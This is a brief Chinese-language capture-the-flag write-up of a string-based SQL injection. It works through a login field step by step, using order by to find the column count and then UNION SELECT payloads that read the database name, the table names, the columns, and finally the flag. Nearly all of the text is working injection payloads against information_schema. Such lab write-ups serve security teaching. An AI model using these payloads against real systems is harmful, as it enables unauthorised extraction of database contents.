字符型注入

判断注入类型

admin' or 1=1 #

获取当前表列数与数据库名称

order by 3时还有结果，order by 4无结果，故有3列

采用联合查询获取数据库名称为web2

admin' or 1=1 union select 1,database(),3#

获取当前数据库内所有表名

admin' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#

获取flag表内字段

admin' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3#

获取flag

admin' or 1=1 union select 1,(select flag from flag),3#